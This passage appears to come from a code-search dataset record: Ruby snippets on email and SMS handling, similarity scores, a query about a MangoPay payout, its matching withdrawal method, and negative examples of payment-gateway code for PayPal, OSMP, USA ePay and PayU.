MeantItMoodTagRel.tag\")\n end # end if message_type_str == MeantItMessageTypeValidator:: ...\n end # end if @meantItRel.errors.empty?\n end # end if !@sender_endPoint.nil? and !@receiver_endPoint.nil? and !@inbound_email.nil?\n # Things that require 200 otherwise they'll keep resending, e.g.\n # sendgrid\n if self.request.path.match(/#{Constants::SENDGRID_PARSE_URL}/)\n render :xml => @inbound_email, :status => 200\n return\n end # end if self.request.path.match(/#{Constants::SENDGRID_PARSE_URL}/)\n # This is from meant_it find/send main page\n if self.request.path.match(/send_inbound_emails/)\n if !@sender_pii.nil? and !@receiver_pii.nil?\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}: send_inbound_emails: @sender_pii.inspect:#{@sender_pii.inspect}, @receiver_pii.inspect:#{@receiver_pii.inspect}, message_type_str:#{message_type_str}\")\n # Check for space\n sender_pii_pii_value_str = @sender_pii.pii_value\n receiver_pii_pii_value_str = @receiver_pii.pii_value\n if !@sender_pii.pii_value.scan(' ').empty?\n sender_pii_pii_value_str = \"'#{@sender_pii.pii_value}'\"\n end # end if @sender_pii.pii_value.scan(' ').empty?\n if !@receiver_pii.pii_value.scan(' ').empty?\n receiver_pii_pii_value_str = \"'#{@receiver_pii.pii_value}'\"\n end # end if @receiver_pii.pii_value.scan(' ').empty?\n find_any_input_str = \"#{sender_pii_pii_value_str} #{message_type_str} #{receiver_pii_pii_value_str}\"\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}: @sender_pii.inspect:#{@sender_pii.inspect}, @receiver_pii.inspect:#{@receiver_pii.inspect}, message_type_str:#{message_type_str}, find_any_input_str:#{find_any_input_str}\")\n#20111017 render \"/find_any/show_pii_pii_with_message_type.html.erb\", :layout => \"find_any\", :locals => { :notice => nil, :sender_pii => @sender_pii, :receiver_pii => @receiver_pii, :message_type => message_type_str, :find_any_input => find_any_input_str }\n if return_url.nil?\n render \"/home/index\", :layout => \"find_any\", :locals => { :notice => nil }\n else\n redirect_to(return_url)\n end # end if return_url.nil?\n elsif !@sender_pii.nil? and @receiver_pii.nil? and !@receiver_endPoint.nil?\n sender_pii_pii_value_str = @sender_pii.pii_value\n if !@sender_pii.pii_value.scan(' ').empty?\n sender_pii_pii_value_str = \"'#{@sender_pii.pii_value}'\"\n end # end if @sender_pii.pii_value.scan(' ').empty?\n find_any_input_str = \"#{sender_pii_pii_value_str} #{message_type_str} #{@receiver_endPoint.nick}\"\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}: @sender_pii.inspect:#{@sender_pii.inspect}, @receiver_endPoint.inspect#{@receiver_endPoint.inspect}, message_type_str:#{message_type_str}, find_any_input_str:#{find_any_input_str}\")\n#20111017 render \"/find_any/show_endpoints_pii_with_message_type\", :layout => \"find_any\", :locals => { :notice => nil, :endPoints => [@receiver_endPoint], :pii => @sender_pii, :message_type => message_type_str, :find_any_input => find_any_input_str }\n if return_url.nil?\n render \"/home/index\", :layout => \"find_any\", :locals => { :notice => nil }\n else\n redirect_to(return_url)\n end # end if params[Constants::RETURN_URL_INPUT].nil?\n end # end if !@sender_pii.nil? ...\n return\n end # end if self.request.path.match(/send_inbound_emails/)\n respond_to do |format|\n format.html { redirect_to(@inbound_email, :notice => 'Inbound email was successfully created.') }\n format.xml { render :xml => @inbound_email, :status => :created, :location => @inbound_email }\n#puts \"InboundEmail, @inbound_email.errors:#{@inbound_email.errors.inspect}\"\n end\n end",
"def email\n render layout: 'wemail'\n \n end",
"def build_save_mms(subject, text, fallback_text, attachments)\n api_key = @api_key\n\n x = Builder::XmlMarkup.new\n x.instruct!\n x.REQUEST {\n x.ACTION \"saveMMS\"\n x.API_KEY api_key\n x.NAME \"tatango_test\"\n x.FALLBACKSMSTEXT fallback_text\n x.SUBJECT subject if subject\n x.SLIDE {\n x.TEXT text\n attachments.each do |attachment|\n x.tag!(attachment[:type]) do\n x.URL attachment[:url]\n end\n end\n }\n }\n end",
"def body\n body = <<-eot\nECFS - Email Filing\n<PROCEEDING> #{DOCKET}\n<DATE> #{@comment[:date]}\n<NAME> #{@comment[:name]}\n<ADDRESS1> #{@comment[:street]}\n<ADDRESS2>\n<CITY> #{@comment[:city]}\n<STATE> #{@comment[:state]}\n<ZIP> #{@comment[:zip]}\n<LAW-FIRM>\n<ATTORNEY>\n<FILE-NUMBER>\n<DOCUMENT-TYPE> CO\n<PHONE-NUMBER>\n<DESCRIPTION> Brief Comment\n<CONTACT-EMAIL> #{contact_email}\n<TEXT> #{@comment[:date]}\n\nMs. Marlene H. Dortch, Secretary\nFederal Communications Commission\n445 12th Street SW\nWashington, DC 20554\n\nRe: A National Broadband Plan for Our Future, GN Docket No. 09-51\n\nDear Ms. Dortch,\n#{@comment[:text]}\n\n eot\n end",
"def email; end",
"def email; end",
"def email; end",
"def email; end",
"def mail_content(case_id, lender_id)\n @loan_case = LoanCase.find(case_id)\n @lender = Lender.find(lender_id)\n @key = \"+\"\n while @key.index(\"+\")\n @key = AES.encrypt(@lender.id.to_s, ENV[\"KEY\"])\n end\n @token = \"+\"\n while @token.index(\"+\")\n @token = AES.encrypt(@loan_case.id.to_s, ENV[\"KEY\"])\n end\n mail to: \"\\\"#{@lender.name}\\\" <#{@lender.email}>\", subject: \"[EZBANK-新房貸][#{@loan_case.address}]\"\n end",
"def compose_email_details()\n\t email_details = \"From: \" + @email[:from].formatted.first + \"\\n\"\n email_details << \"To: \" + @email[:to].formatted.join(', ') + \"\\n\"\n if !@email.cc.nil?\n email_details << \"Cc: \" + @email[:cc].formatted.join(', ') + \"\\n\"\n end\n email_details << \"Date: \" + @email[:date].to_s + \"\\n\"\n email_details << \"Subject: \" + @email[:subject].to_s + \"\\n\"\n email_details = \"bq. \" + Mail::Encodings.unquote_and_convert_to(email_details, 'utf-8') + \"\\n\"\n email_details\n end",
"def text_notification(email)\n content = \"\"\n address = email\n phone = User.where(email: email).first.phone\n Membership.where(email: email).each do |membership|\n Task.where(group_id: membership.group_id).each do |task|\n if task.priority == 3\n content << \"#{task.title}\\n\"\n end\n end\n Subtask.where(group_id: membership.group_id).each do |subtask|\n if subtask.priority == 3\n content << \"#{subtask.task.title}: #{subtask.title}\\n\"\n end\n end\n end\n unless phone.nil?\n if content.empty? == false\n TWILIO_CLIENT.account.sms.messages.create(\n from: TWILIO_NUMBER,\n to: \"+#{phone}\",\n body: content\n )\n end\n end\n end",
"def no_idea_added(user)\n begin\n m = Mandrill::API.new\n template = m.templates.render 'GetViable 2 weeks no idea added', [{:name => \"first_name\", :content => user.name}]\n mail_job = mail(:to => user.email, :subject => \"Remember to add your idea and get started\") do |format|\n format.html { template['html'] }\n #format.text { render \"test\" }\n end\n mail_job.deliver\n rescue Exception => e\n \n end\n end",
"def create_newsletter\n fail NotImplementedError\n end",
"def create\n \t#below instance variable saves the company name from the email parameters\n\t@company_name = Receipt.company_name_parse(params[:plain])\n\t#below instance variable saves the receipt description\n\t@receipt_desc = Receipt.receipt_desc_parse(params[:headers]['Thread-Topic'])\n\t#below instance variable saves the body of the email\n\t@body = Receipt.body_parse(params[:plain])\n\t#below instance variable saves the price from the email body\n\t@price = Receipt.price_parse(params[:plain])\n\t#below instance variable saves the user_id\n\t@receipt_user = Receipt.parse_user(params[:envelope]['from'])\n\t#below instance variable sets the path for the email attachment\n\t@attachment = Receipt.file_attachment(params[:headers]['Thread-Topic'], params[:plain])\n\t#below instance variable saves the unique key that applies to an individual email; will be used to track if an email is a duplicate of an existing receipt\n\t@in_reply_to = Receipt.in_reply_to(params[:headers]['In-Reply-To'])\n\t#below instance variable will return a boolean to confirm if the email received has already been converted into a receipt in the current db\n\t@is_duplicate = Receipt.is_duplicate(@receipt_user, @in_reply_to)\n\n\t#below if statement checks to see if the is_duplicate method is true or false, then decide whether a receipt is created based on this\n\tif @is_duplicate == false\n\t #email is NOT a duplicate and record is\n\t #@auto_receipt = Receipt.create(receipt_desc: @receipt_desc, company_name: @company_name, price: @price, user_id: @receipt_user, company_id: @company_id, expense_report_id: 4, plain_date: Date.current, image: @attachment, in_reply_to: @in_reply_to)\n\t @auto_receipt = Receipt.create(receipt_desc: @receipt_desc, company_name: @company_name, price: @price, user_id: @receipt_user, expense_report_id: 4, plain_date: Date.current, in_reply_to: @in_reply_to)\n\t render :text => 'success', :status => 200\n\telse\n\t #do nothing; if email is a duplicate, no new receipt will be created\n\t render :text => 'success', :status => 200\n\tend\n end",
"def send_notification(mailFrom, mailTo, mailDomain, mailServer, noticeContent, debug)\n\n# Example Email Notification Template. Modify as needed. Sending HTML email by default because I like it.\n# Example Email Notification Template. Modify as needed. Sending HTML email by default because I like it.\nmessage = <<MESSAGE_END\nFrom: #{mailFrom} \nTo: #{mailTo}\nMIME-Version: 1.0\nContent-type: text/html\nSubject:#{noticeContent[:date]} - ISO IR Resolve - #{noticeContent[:vulnTitle]} (#{noticeContent[:ipAddress]})\n\n<h3>#{noticeContent[:date]} - ISO IR Resolve - #{noticeContent[:vulnTitle]} (#{noticeContent[:ipAddress]})</h3>\nLink to IDS or other system showing the vulnerability or compromise<br/>\nhttps://#{noticeContent[:console]}:#{noticeContent[:conPort]}/vulnerability/vuln-summary.jsp?vulnid=#{noticeContent[:vulnId]}&devid=#{noticeContent[:devId]}<br/>\n\n<p>\n<h3>Issue Summary:</h3>\nA recent scan of #{noticeContent[:ipAddress]} indicates a vulnerability on the system.<br/>\nThe following issue was detected: #{noticeContent[:vulnTitle]}\n<h3>Description of the issue:</h3>\n#{noticeContent[:description]}\n</p>\n\n<p>\n<h3>Event Type:</h3>\nVulnerable\n</p>\n<p>\n<h3>Host(s) Affected:</h3>\n#{noticeContent[:ipAddress]}:#{noticeContent[:port]} / #{noticeContent[:proto]}<br/>\nHostname: #{noticeContent[:hostName]}<br/>\n Detected Aliases: #{noticeContent[:otherNames]}<br/>\nMachine Address: #{noticeContent[:macAddress]}<br/>\n\n</p>\n<p>\nTime of Detection: #{noticeContent[:date]} <br/>\nLevel of Confidence: #{noticeContent[:confirmation]}<br/>\n</p>\n<h3>Evidence/Testing Results</h3>\n#{noticeContent[:proof]}\n#{noticeContent[:solText]}\n\n<br/>\n<i>#{noticeContent[:nexposeId]}</i>\n\n\nMESSAGE_END\n\n begin\n Net::SMTP.start(mailServer) do |smtp|\n smtp.send_message message, mailFrom, mailTo\n end\n\n rescue => err\n $stderr.puts(\"Fail: #{err}\")\n exit(1)\n end\nend",
"def template_text\n self.to_html ? self.body_html : self.body\n end",
"def template\n @mail_template = MailTasks::Template.find_or_new( params[:id] )\n\n # For GET\n (render && return) if request.get?\n \n # For Preview\n if params[:commit].downcase == \"preview\"\n @mail_template.attributes = params[:mail_template]\n render :text => @mail_template.content_for_preview( mail_layout_options )\n return\n end\n \n # For Create / Update\n @mail_template.attributes = params[:mail_template]\n @mail_template.variables = params[:variables]\n if @mail_template.save\n flash[:notice] = \"Template \\\"#{@mail_template.name}\\\" has been saved successfully!\"\n redirect_to :back\n else\n flash.now[:notice] = @mail_template.errors.full_messages.join(\"<br />\")\n render\n end\n end"
] |
[
"0.68935984",
"0.6638961",
"0.64742064",
"0.64098126",
"0.6375902",
"0.6322598",
"0.63189614",
"0.6270697",
"0.62671113",
"0.6265751",
"0.6254013",
"0.6235689",
"0.617957",
"0.617957",
"0.6135113",
"0.60822135",
"0.60725814",
"0.6057028",
"0.6040514",
"0.6029099",
"0.60260975",
"0.60079366",
"0.59980446",
"0.59662855",
"0.5963069",
"0.5963069",
"0.59620017",
"0.5939311",
"0.59279454",
"0.59161425",
"0.589269",
"0.58802336",
"0.5873847",
"0.58672166",
"0.585602",
"0.58505934",
"0.58405715",
"0.5835873",
"0.5827371",
"0.58266664",
"0.58235055",
"0.58155274",
"0.57944536",
"0.57932454",
"0.57892686",
"0.57831776",
"0.5778349",
"0.5772024",
"0.5771962",
"0.5755707",
"0.5755684",
"0.57374775",
"0.572087",
"0.57144064",
"0.57124615",
"0.57116926",
"0.57076913",
"0.57076913",
"0.57040364",
"0.56933546",
"0.5679784",
"0.5677855",
"0.5677333",
"0.5676113",
"0.56699514",
"0.56651646",
"0.56597793",
"0.5656813",
"0.56529015",
"0.56509006",
"0.5648387",
"0.56477916",
"0.56477916",
"0.56461877",
"0.56419796",
"0.56405264",
"0.564024",
"0.56376123",
"0.5637273",
"0.56197643",
"0.5613888",
"0.5611145",
"0.5609297",
"0.5605516",
"0.56044644",
"0.5603352",
"0.5603127",
"0.5600601",
"0.5598614",
"0.5598614",
"0.5598614",
"0.5598614",
"0.5597598",
"0.55845976",
"0.55840117",
"0.5580776",
"0.5580773",
"0.5578423",
"0.55778795",
"0.55659294",
"0.5554135"
] |
0.0
|
-1
|
With MangoPay we do an immediate payout to receivers account
|
def handle_paid_payment(payment)
response = MangoPay::Withdrawal.create({
'UserID' => payment.recipient.mangopay_id,
'WalletID' => 0,
'BeneficiaryID' => payment.recipient.mangopay_beneficiary_id,
'Amount' => payment.total_sum.cents,
'Tag' => payment.id
})
puts "WITHDRAWAL RESPONSE #{response.inspect}"
if response["ErrorCode"]
ApplicationHelper.send_error_notification(response["ErrorCode"], "MangopayWithdrawalError", response)
return false
else
return true
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def do_pay\n self.paid_at = Time.now.utc\n self.send_paid\n end",
"def payout\n\t\t# if !current_user.merchant_id.blank?\n # \t\t\taccount = Stripe::Account.retrieve(current_user.merchant_id)\n # \t\t\t@login_link = account.login_links.create()\n\t\t# end\n end",
"def payout(amount, target_address: user_keypair.address)\n amount = cast_amount(amount)\n raise Mobius::Client::Error::InsufficientFunds if app_balance < amount\n submit_tx do |operations|\n operations << payment_op(amount, dest: target_address, src: app_keypair)\n end\n rescue Faraday::ClientError => err\n handle(err)\n end",
"def pay!\n #soap_server = VendorPayment.generate_soap_server\n #token = VendorPayment.generate_usa_epay_security_token\n #custNum = observed.vendor_payment_period.store.id\n #paymentMethodID = nil\n #parameters = generate_transaction_request\n #response = soap_server.runCustomerTransaction(token, custNum, paymentMethodID, parameters)\n #\n if self.vendor_payment_period.store.usa_epay_customer_number.blank?\n self.errors['usa_epay_customer_number'] = \"The USA ePay custNum must be set before a payment can be made.\"\n return\n end\n gateway = VendorPayment.gateway\n payment_methods_response = gateway.get_customer_payment_methods(:customer_number => self.vendor_payment_period.store.usa_epay_customer_number)\n monthly_transfer_method = nil\n items = if payment_methods_response.params['get_customer_payment_methods_return']\n payment_methods_response.params['get_customer_payment_methods_return']['item']\n else\n []\n end\n \n if items.is_a?(Hash)\n items = [items]\n end\n \n items.each do |payment_method|\n if payment_method['method_name'].strip == 'Monthly ACH Transfer'\n monthly_transfer_method = payment_method\n end\n end\n \n if monthly_transfer_method\n response = gateway.run_customer_transaction(:customer_number => self.vendor_payment_period.store.usa_epay_customer_number,\n :command => 'CheckCredit',\n # USA ePay does pennies for the amount, so it needs to be\n # multiplied by 100\n :payment_method_id => monthly_transfer_method['method_id'],\n :amount => self.amount * 100)\n \n \n self.state = if response.message['result_code'].strip == 'A'\n VendorPayment.status_codes[response.message['status_code']]\n else\n VendorPayment.status_codes[\"E\"]\n end\n self.response_data = YAML::dump(response)\n if !response.message['ref_num'].blank?\n self.response_code = response.message['ref_num']\n save\n else\n save\n self.errors['transaction'] = \"State: #{self.state}. There was an error with code #{response.message['error_code']}, while trying to make the payment. Check USA ePay for reference number #{response.message['ref_num']} if necessary.\\n\\nFull Message: #{response.message.inspect}\"\n end\n self.vendor_payment_period.update_payment_total!\n self.vendor_payment_period.update_state!\n else\n self.errors['payment_method'] = \"There is no payment method on the vendor called 'Monthly ACH Transfer'\"\n end\n end",
"def send_payment_and_dispose!\n mturk_bonus_assignment(self.mturk_assignment_id, self.mturk_worker_id)\n mturk_approve_assignment(self.mturk_assignment_id)\n self.update_attributes(:paid_at => Time.now)\n dispose_hit_on_mturk(self.mturk_hit_id) #we can also delete it on mturk, tidy up\n end",
"def after_redeem() end",
"def pay_off(user, payment, amount)\n @data_object.order_amount_paid += amount\n if fully_paid\n @data_object.order_date_paid = DBI::Timestamp.new(Time.now)\n end\n\n log_payment_to_mem(user, payment, amount)\n end",
"def debit_customer_account\n end",
"def pay(user, ip, params)\n transaction = params[:transaction]\n ActiveProcessor.debug(\"Paying OSMP\")\n ActiveProcessor.debug(\"Transaction: #{transaction.to_yaml}\")\n #create payment\n if transaction[:user]\n @payment = Payment.create_for_user(transaction[:user], {\n :pending_reason => \"waiting_response\",\n :paymenttype => [@engine, @name].join(\"_\"),\n :currency => transaction[:currency],\n :gross => transaction[:money_with_tax],\n :tax => transaction[:tax],\n :amount => transaction[:money],\n :transaction_id => transaction[:id],\n :date_added => transaction[:date]\n })\n else\n @payment = nil\n end\n osmp_transaction(transaction[:id]) { |xml|\n unless @payment # user was not found so payment was not created\n ActiveProcessor.debug(\" >ERROR. Payment not created. User not found.\")\n xml.result(@message[:id_not_found][:code])\n xml.comment(ActiveProcessor.configuration.translate_func.call(\"osmp_message_#{@message[:id_not_found][:code]}\"))\n else\n if Payment.find(:first, :conditions => [\"date_added = ? AND paymenttype = ? AND transaction_id = ?\", transaction[:date], [@engine, @name].join(\"_\"), transaction[:id]]) # already exists payment with this date_added\n ActiveProcessor.debug(\" >ERROR. Payment already created.\")\n xml.result(@message[:other_error][:code])\n xml.comment(ActiveProcessor.configuration.translate_func.call(@message[:other_error][:msg]))\n else\n if get(:config, 'min_amount').to_i > 0 and @payment.gross < get(:config, 'min_amount').to_i # payment is to small\n ActiveProcessor.debug(\" >ERROR. Payment amount to small.\")\n xml.result(@message[:amount_to_small][:code])\n xml.comment(ActiveProcessor.configuration.translate_func.call(@message[:amount_to_small][:msg]) + get(:config, 'min_amount').to_s)\n else\n if get(:config, 'max_amount').to_i > 0 and @payment.gross > get(:config, 'max_amount').to_i #payment is too big\n ActiveProcessor.debug(\" >ERROR. Payment amount to big.\")\n xml.result(@message[:amount_to_big][:code])\n xml.comment(ActiveProcessor.configuration.translate_func.call(@message[:amount_to_big][:msg]) + get(:config, 'max_amount').to_s)\n else\n user = User.find(:first, :conditions => ['id = ?', @payment.user_id])\n if @payment.save\n confirmation = get(:config, \"payment_confirmation\")\n if confirmation.blank? or confirmation == \"none\"\n ActiveProcessor.debug(\" > waiting_response\")\n @payment.update_attributes({:completed => 1, :shipped_at => params[:date], :pending_reason => \"Completed\"})\n Action.add_action_hash(@payment.user_id,\n {:action => \"payment: #{self.settings['name']}\",\n :data => \"User successfully payed using OSMP\",\n :data3 => \"#{@payment.amount} #{@payment.currency} | tax: #{@payment.gross - @payment.amount} #{@payment.currency} | fee: #{@payment.fee} #{@payment.currency} | sent: #{@payment.gross} #{@payment.currency}\",\n :data2 => \"payment id: #{@payment.id}\",\n :data4 => \"authorization: #{@payment.transaction_id}\"\n })\n user.balance += @payment.amount_to_system_currency\n return user.save\n else\n @payment.update_attributes({\n :completed => false,\n :pending_reason => \"Waiting for confirmation\"\n })\n ActiveProcessor.log(\" >> Payment: #{@payment.id}, Pending_reason: #{@payment.pending_reason.downcase}\")\n ActiveProcessor.log(\" >> USER (#{user.id}) waiting for confirmation.\")\n Action.add_action_hash(@payment.user_id,\n {:action => \"payment: #{settings['name']}\",\n :data => \"User successfully payed, waiting for payment approval #{settings['name']} (OSMP)\",\n :data3 => \"#{@payment.amount} #{@payment.currency} | tax: #{@payment.gross - @payment.amount} #{@payment.currency} | fee: #{@payment.fee} #{@payment.currency} | sent: #{@payment.gross} #{@payment.currency}\",\n :data2 => \"payment id: #{@payment.id}\",\n :data4 => \"Transaction: #{@payment.transaction_id}\"\n })\n\n if get(:config, 'payment_notification').to_i == 1\n owner = User.where(:id => user.owner_id).first\n email = Email.find(:first, :conditions => {:name => 'payment_notification_regular', :owner_id => owner.id})\n\n variables = Email.email_variables(owner, nil, {:payment => @payment, :payment_notification => OpenStruct.new({}), :payment_type => \"OSMP (OSMP)\"})\n EmailsController::send_email(email, Confline.get_value(\"Email_from\", owner.id), [owner], variables)\n end\n return true\n end\n # OK\n ActiveProcessor.debug(\" >Payment saved.\")\n xml.result(@message[:ok][:code])\n xml.comment(ActiveProcessor.configuration.translate_func.call(\"osmp_message_#{@message[:ok][:code]}\"))\n\n else\n # cannot save payment\n ActiveProcessor.debug(\" >ERROR. Payment was not saved.\")\n xml.result(@message[:temporary_error][:code])\n xml.comment(ActiveProcessor.configuration.translate_func.call(\"osmp_message_#{@message[:temporary_error][:code]}\"))\n end\n end\n end\n end\n end\n }\n end",
"def sell_pending\n end",
"def payout!\n transaction = nil\n\n ApplicationRecord.transaction do\n lock! # Protect against potential race conditions\n\n raise PayoutError, 'already paid out' if paid_out?\n\n 'Transaction::InternalTransfer::BountyClaim'.constantize # because rails autoloading, that's why.\n transaction = Transaction::InternalTransfer::BountyClaim.create! description: \"Payout BountyClaim(#{id}) - Total: $#{amount}\"\n\n transaction.splits.create(\n amount: -1 * amount,\n item: (issue || pact)\n )\n\n transaction.splits.create(\n amount: amount,\n item: person\n )\n\n unless transaction.valid?\n raise PayoutError, transaction.errors.full_messages.to_sentence\n end\n\n update_attribute :paid_out, true\n end\n\n transaction\n end",
"def show\n pr params\n pr payu_verify_return\n # IF payed, push to queue - onl once\n # todo\n end",
"def pay_slip\n \n end",
"def pay\n @cash_out = CashOut.find(params[:id])\n\n @transaction = Transaction.new\n @transaction.user = @cash_out.user\n @transaction.transaction_type = 'payment'\n @transaction.amount = @cash_out.amount * -1\n @transaction.attachable = @cash_out\n @transaction.transaction_at = Time.now\n\n if @transaction.save\n @cash_out.status = 'paid'\n @cash_out.paid_at = @transaction.transaction_at\n @cash_out.save\n\n flash[:notice] = \"Se ha realizado el pago\"\n redirect_to [:admin, @cash_out]\n else\n flash[:error] = \"No se pudo realizar el pago\"\n redirect_to [:admin, @cash_out]\n end\n end",
"def payout!\n ApplicationRecord.transaction do\n # rollback if no pledges to payout\n raise ActiveRecord::Rollback if pledges.unpaid.empty?\n\n transaction = Transaction::InternalTransfer::FundraiserCashOut.create!(\n description: \"Payout Fundraiser(#{id}): Account Balance: $#{account_balance}\",\n audited: true\n )\n total = account_balance\n transaction.splits.create!(amount: -total, item: self)\n transaction.splits.create!(amount: total, item: person)\n\n # update all of the pledges with rewards that have a merch fee, so that we do not charge twice for merchandise\n # if/when paid out again when it closes.\n pledges.unpaid.update_all status: Pledge::Status::PAID\n end\n end",
"def pay(payment)\n retval\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :hosted_payment_form => true)\n @sim_transaction.set_hosted_payment_receipt(AuthorizeNet::SIM::HostedReceiptPage.new(:link_method => AuthorizeNet::SIM::HostedReceiptPage::LinkMethod::GET, :link_text => 'Continue', :link_url => payments_thank_you_url(:only_path => false)))\n\n end",
"def perform_test_payment\n subscription = user.subscriptions.not_paid.first\n SubscriptionManager.new(subscription: subscription).pay if subscription\n end",
"def express_checkout_complete \n paypal_token = params[:token] \n @prize = Prize.find_by_paypal_token(paypal_token, :conditions => [\"paypal_state = 'purchase_setup'\"]) \n @details = gateway.details_for(paypal_token) \n \n if !@details.success?\n #paypal has reported error back to our system\n paypal_error(@details) \n else \n \n #might want to add to debug\n logger.info \"Customer name: #{@details.params['name']}\" \n logger.info \"Customer e-mail: #{@details.params['payer']}\" \n \n @response = gateway.purchase( \n amount_in_cents(@prize.paypal_prizecost), \n :token => @details.params['token'], \n :payer_id => @details.params['payer_id'] \n )\n \n if !@response.success? \n paypal_error(@response) \n else \n @prize.update_attributes(\n :paypal_state => 'closed',\n :paypal_amount => @response.params['gross_amount'] \n ) \n \n #send to prize confirmation page \n end #!@response.success? \n end #!@details.success?\nend",
"def cash_out_paid(cash_out)\n @cash_out = cash_out\n\n set_attachments\n\n mail(to: cash_out.user.email, subject: \"Notificaciones @ Social Target - Se ha realizado el pago de un Cash Out\")\n end",
"def merchant_end_point; end",
"def attemp_buying\n\n end",
"def register_payout_details(person)\n # nothing to do by default\n end",
"def receive_payment(transaction)\n self.credit(transaction.amount)\n self.save!\n transaction.subscription.reload # reloaded to that the paid_through date is correct\n transaction.message = \"now paid through #{self.paid_through}\"\n\n begin\n Freemium.mailer.deliver_invoice(transaction)\n rescue => e\n transaction.message = \"error sending invoice\"\n end\n end",
"def valitation\n # Create a payment and send ID\n end",
"def resend_mail\n if step_active? && merchant_session_active?\n # send an email verification mail to merchant\n @merchant = Merchant.find(session[:temporary_merchant_id])# get merchant details \n MerchantsMailer.registration_email(@merchant).deliver_later\n render 'new'\n return\n else\n redirect_to root_path\n return\n end\n end",
"def process_with_payu\n process_purchase\n end",
"def payment_notification(options={})\n options = options.symbolize_keys\n receivers = fetch_payment_receivers(options)\n @amount = ((options[:amount].to_f)/100)\n @conn_count = options[:connection_count]\n @last4 = options[:last4]\n mail(:to => receivers, :subject => \"Payment Successful!\")\n end",
"def generate_reactivation_transaction\n\n payment_method = params[:mp]\n company = Company.find(current_user.company_id)\n\n downgradeLog = DowngradeLog.where(company_id: company.id).order('created_at desc').first\n\n new_plan = downgradeLog.plan\n\n #Should have free plan\n previous_plan = company.plan\n\n if new_plan.custom\n price = new_plan.plan_countries.find_by(country_id: company.country.id).price\n else\n price = new_plan.plan_countries.find_by(country_id: company.country.id).price company.computed_multiplier\n end\n\n sales_tax = company.country.sales_tax\n\n day_number = Time.now.day\n month_number = Time.now.month\n month_days = Time.now.days_in_month\n\n plan_month_value = ((month_days - day_number + 1).to_f / month_days.to_f) * price\n due_amount = downgradeLog.debt\n\n\n if company\n mockCompany = Company.find(current_user.company_id)\n mockCompany.plan_id = new_plan.id\n mockCompany.months_active_left = 1.0\n mockCompany.due_amount = 0.0\n mockCompany.due_date = nil\n\n if !mockCompany.valid?\n redirect_to select_plan_path, notice: \"No se pudo completar la operación ya que hubo un error en la solicitud de pago. Por favor escríbenos a contacto@agendapro.cl si el problema persiste. (9)\"\n else\n\n trx_comp = mockCompany.id.to_s + \"0\" + new_plan.id.to_s + \"0\"\n trx_offset = 4\n trx_date = DateTime.now.to_s.gsub(/[-:T]/i, '')\n trx_date = trx_date[0, trx_date.size - trx_offset]\n trx_date = trx_date[trx_date.size - 15 + trx_comp.size, trx_date.size]\n trx_id = trx_comp + trx_date\n\n if trx_id.size > 15\n trx_id = trx_id[0, 15]\n end\n\n due = sprintf('%.2f', ((plan_month_value + due_amount /(1 + sales_tax) )*(1 + sales_tax)).round(0))\n\n crypt = ActiveSupport::MessageEncryptor.new(Agendapro::Application.config.secret_key_base)\n\n encrypted_data = crypt.encrypt_and_sign({reference: trx_id, description: \"Cambio a plan \" + mockCompany.plan.name, amount: due, source_url: select_plan_path})\n\n\n if encrypted_data\n PlanLog.create(trx_id: trx_id, new_plan_id: new_plan.id, prev_plan_id: previous_plan.id, company_id: mockCompany.id, amount: due)\n PayUCreation.create(trx_id: trx_id, payment_method: '', amount: due, details: \"Creación de reactivación de plan empresa id \"+mockCompany.id.to_s+\", nombre \"+mockCompany.name+\". Cambia de plan \"+mockCompany.plan.name+\"(\"+mockCompany.plan.id.to_s+\"), por un costo de \"+due+\". trx_id: \"+trx_id+\" - mp: \"+mockCompany.id.to_s+\". Resultado: Se procesa\")\n redirect_to action: 'generate_transaction', encrypted_task: encrypted_data\n return\n else\n PayUCreation.create(trx_id: trx_id, payment_method: '', amount: due, details: \"Error creación de cambio de plan empresa id \"+mockCompany.id.to_s+\", nombre \"+mockCompany.name+\". Cambia de plan \"+mockCompany.plan.name+\"(\"+mockCompany.plan.id.to_s+\"), por un costo de \"+due+\". trx_id: \"+trx_id+\" - mp: \"+mockCompany.id.to_s+\". Resultado: \"+resp.get_error+\".\")\n redirect_to select_plan_path, notice: \"No se pudo completar la operación ya que hubo un error en la solicitud de pago. Por favor escríbenos a contacto@agendapro.cl si el problema persiste. (3)\"\n end\n end\n end\n end",
"def pay_dp\n raise t('checkout.common.failed_msg') unless request.put?\n order = Order.not_checked_out.by_state(\"assigned\").by_user(@user).\n find(:first, :conditions => [ \"id = ?\", session[:order_id] ])\n if order.can_pay? and order.total > 0.0\n order.update_attributes( {:recipient => @user.full_description })\n order.reset_token!\n notifyURL=\"#{get_server_path}/ppservice/ipn\"\n options = { \"method\" => 'DoDirectPayment',\n \"ip_address\" => request.remote_ip,\n \"paymentaction\" => 'Sale',\n \"notifyurl\" => notifyURL,\n \"email\" => @user.email,\n \"firstname\" => @user.fullname,\n \"lastname\" => '(' + @user.email + ')',\n # \"cardowner\" => params[\"cardowner\"],\n \"creditcardtype\" => params[\"creditcardtype\"],\n \"acct\" => params[\"acct\"],\n \"expdate\" => params[\"date\"][\"month\"] + params[\"date\"][\"year\"],\n \"cvv2\" => params[\"cvv2\"] }\n options.merge!(order.basic_options)\n# options.merge!(order.ship_options)\n dump_options(options) if DEBUG\n order.payments.create({ \"token\" => \"#{order.token}\", \"state\" => \"pending\",\n \"method_type\" => \"Card\"})\n payment = order.current_payment\n payment.update_attributes({\"do_dp_request_params\" => options.merge({\"acct\"=>\"XXXXXX\",\n \"expdate\"=>\"XXXXXX\",\n \"cvv2\"=>\"XXXXXX\",\n \"creditcardtype\"=>\"XXXXXX\"\n })\n })\n @caller = PayPalSDK::Caller.new(false)\n @transaction = @caller.call( options )\n payment.update_attributes({\"do_dp_response_params\" => @transaction.response})\n dump_response(@transaction.response, \"DoDirectPayment\") if DEBUG\n if @transaction.success?\n session[:pp_errors] = nil\n puts \"+++++++++[\" + @transaction.response[\"AVSCODE\"].to_s + \"]++++++++++\" if DEBUG\n case @transaction.response[\"AVSCODE\"].to_s\n when 'X'\n 